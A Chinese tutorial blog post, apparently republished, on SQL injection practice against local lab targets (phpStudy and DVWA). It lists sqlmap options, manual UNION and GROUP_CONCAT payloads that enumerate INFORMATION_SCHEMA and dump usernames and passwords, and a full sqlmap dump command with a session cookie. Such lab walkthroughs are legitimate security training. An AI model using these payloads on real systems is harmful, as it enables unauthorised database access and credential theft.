当前位置: 首页 > ops >正文

打靶日常-sql注入(手工+sqlmap)

小知识:
注入点:在哪里输入sgl指令中的参数
执行点:在那个页面拼接sql指令并发送给数据库执行
回显点:执行的结果显示在哪个页面

sqlmap知识点:

输出等级        -v3                 范围0-6        默认1        一般3        考试3
测试等级        --level=1        范围1-5        默认1        一般3        考试1
风险等级        --risk=1          范围1-3        默认1        一般1        考试1
获取内容指定已知内容
--dbs               -D        database
--tables           -T         table
-columns        -C         column
-dump

攻击目标        -u指定url        -p指定参数   -r指定文件
自定义数据
--data=""
--cookie=""
--proxy=""
--random-agent
--tamper "equaltolike"

小皮:

1.数字型post:使用hackbar插件:

手工:

先判断类型

%'")a-- #

由上确定为数字型:
也可以由报错来查看回显点:

这里因为hackbar版本问题,无法发送请求,大家可以自行测试

查列数:
确定回显点:
查数据库名:
查表名:
这里也可以写:
(SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())
查列名:这里是查"users"表

(SELECT GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users')
查数据:

select group_concat(username,password) from users
(select group_concat(username,password SEPARATOR 0x3c62723e) from users)
(select group_concat(username,':',password) from users)
(select group_concat(username,':',password separator '</br>')

sqlmap:

先抓post包:
然后存为文件:
再将文件放在sqlmap文件路径下:

这里博主使用的conda管理了python,不必和博主一样

成功之后:
查数据库:
查表:
查列:
查数据:

2.字符型get:

手工:

这里%23是#的URL编码

先判断类型

易得是单引号闭合

确定回显点:
查数据库名:

查表名:

(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) 
查列名:

(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users')
查数据:

(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)

sqlmap:

获取URL:

因为有两个参数,所以要有引号:

查数据库名:

查表名:

查列名:

查数据:

3.探索型:

手工:

先判断闭合方式:

'")a-- #%''

易得为%'闭合:

查数据库:
查表名:

查列名:

查数据:

sqlmap:

查数据库:
查表名:
查列名:

查数据:

DVWA:

low:

手动测试不予演示:
sqlmap:

这里添加cookie:(也可以理解为,dvwa需要登录,所以需要cookie)

我们抓一个包,发现确实需要cookie,当然我们也直接可以用这个包的内容做一个文件,然后直接用这个文件

其他操作同上

medium:数字+post

易得为字符型,2个回显点

查库,查表:

union select database(),(SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())

这里查列出错,敬请期待

sqlmap:post型:

high:注入点和执行点不在同一个页面上,post

用到了--second-url

抓包可知是post请求

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php#" --cookie="PHPSESSID=htg4se6dcqj6jik2217r0338r0; security=high" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="Submit=Submit&id=1" -D dvwa -T users -C user,password --dump

http://www.xdnf.cn/news/17829.html

相关文章:

  • 嵌入式学习 day52 IMX6ULL裸机开发-I2C
  • 功能组和功能组状态的概念关系和区别
  • Cursor/VSCode/VS2017 搭建Cocos2d-x环境,并进行正常的调试和运行(简单明了)
  • Docker的相关知识探究详解
  • Linux驱动学习day28(USB驱动,libusb操作)
  • RabbitMQ核心架构与应用
  • DeepSeek-V2:一种强大、经济且高效的混合专家语言模型
  • 区块链技术原理(13)-以太坊燃料费Gas
  • 【数据结构初阶】--排序(三):冒泡排序、快速排序
  • 旋钮键盘项目---foc讲解(开环)
  • 基于WSL搭建Ubuntu 22.04.x LTS开发环境
  • 102、【OS】【Nuttx】【周边】文档构建渲染:安装 Esbonio 服务器
  • Codeforces 无路可走
  • Git代码版本管理
  • 一文打通 AI 知识脉络:大语言模型等关键内容详解
  • Python基础-数据结构
  • 【部署K8S集群】 1、安装前环境准备配置
  • 重塑工业设备制造格局:明远智睿 T113-i 的破局之道
  • 基于多模型的零售销售预测实战指南
  • Spring IOC容器在Web环境中的启动奥秘:深入源码解析
  • 从 LLM 到自主 Agent:OpenCSG 打造开源 AgenticOps 生态
  • 云原生俱乐部-k8s知识点归纳(4)
  • EhViewer安卓ios全版本类下载安装工具的完整路径解析
  • OpenTelemetry WebSocket 监控终极方案:打通最后一公里
  • TCP传输层协议(4)
  • 攻防世界—fakebook(两种方法)
  • Java集合Map与Stream流:Map实现类特点、遍历方式、Stream流操作及Collections工具类方法
  • 集合车位租售、充电桩共享、二手市场、便民服务的家政服务平台,带源码
  • STM32的PWM
  • Linux网络基础概念